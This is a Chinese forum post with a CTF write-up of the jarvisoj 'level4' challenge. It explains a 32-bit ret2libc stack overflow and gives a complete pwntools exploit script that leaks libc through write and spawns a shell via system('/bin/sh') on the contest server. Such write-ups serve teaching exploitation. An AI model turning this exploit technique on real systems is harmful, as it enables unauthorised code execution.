bnuzgn 发表于 2023-8-2 11:55

[基础ret2libc] jarvisoj_level4

本帖最后由 bnuzgn 于 2023-8-2 11:57 编辑


题目来源:buuoj
题目信息
题目提示ubuntu16,i386,开了NX,Partial RELRO
   
   
main函数中调用用了write函数
   
vuln函数显然可以溢出。
   
解题思路
利用write函数泄露libc_base,很好写wp
温故知新
写多了64位的payload对rdi,rsi,rdx,rcx,r8,r9这些都很熟悉了,函数的参数可谓是一个萝卜一个坑,之间换一换顺序也是可以的也写习惯了。
突然回到32位的栈溢出才发现以前写32位的wp的时候是借鉴的网上的答案,后来又是自己借鉴自己以前的答案,导致自己都没有思考过为什么是这个ROP顺序。
就拿本题中输出32位的为例
payload = b'a'*(0x88+4)+ p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
画一个此时的vuln函数栈
   
[*]b'a'*(0x88+4) 是padding,用于直接溢出到vuln函数的返回地址
[*]p32(write_plt)占据了vuln函数的返回地址
[*]【关键点1】vuln_addr,这个是write函数的返回地址,此时我们不需要考虑如果还有父函数会怎么样,因为这个是栈,而不是程序段,栈是用来保存函数运行时的临时数据的,仅仅作用于当前函数。当这个函数结束返回到返回值的时候,eip和rbp都会改变,对应于本题则会返回到vuln函数的起始处,此时栈顶esp指向的是下图中【write参数1】的位置,会重新复用后续的栈空间,而vuln函数没有参数,因此可以正常运行,这也是为什么一般二次循环会跳转到main啊vuln啊这种没有参数的函数中。(所以如果在这些函数中加一个参数是不是也可以稍稍避免栈溢出?)
[*]【关键点2】我们常听说32位程序加载参数的时候是从右往左的,为啥wp中直接p32(1) + p32(write_got) + p32(4)?正常流程中,参数压栈的方式的确是从右往左压栈,这样的目的时调用的时候可以从左往右调用,毕竟栈是FILO,而通过栈溢出的方式写栈走的不是正常流程,是直接从栈顶向着栈底写的,正巧和参数调用的顺序是一样的,所以就不需要倒序了。

   
wp# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "level4"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",26967)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)


write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = elf.sym['vulnerable_function']

payload = b'a'*(0x88+4)+ p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
sl(payload)
write_addr = u32(r.recvuntil(b'\xf7')[-4:])
lg('write_addr')
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh= libc_base + libc.search(b'/bin/sh').__next__()

payload = b'a'*(0x88+4) + p32(system_addr) + p32(0) + p32(bin_sh)
sl(payload)
ti()

binarystudy123 发表于 2023-9-14 19:12

十分详细,感谢分享
页: [1]
查看完整版本: [基础ret2libc] jarvisoj_level4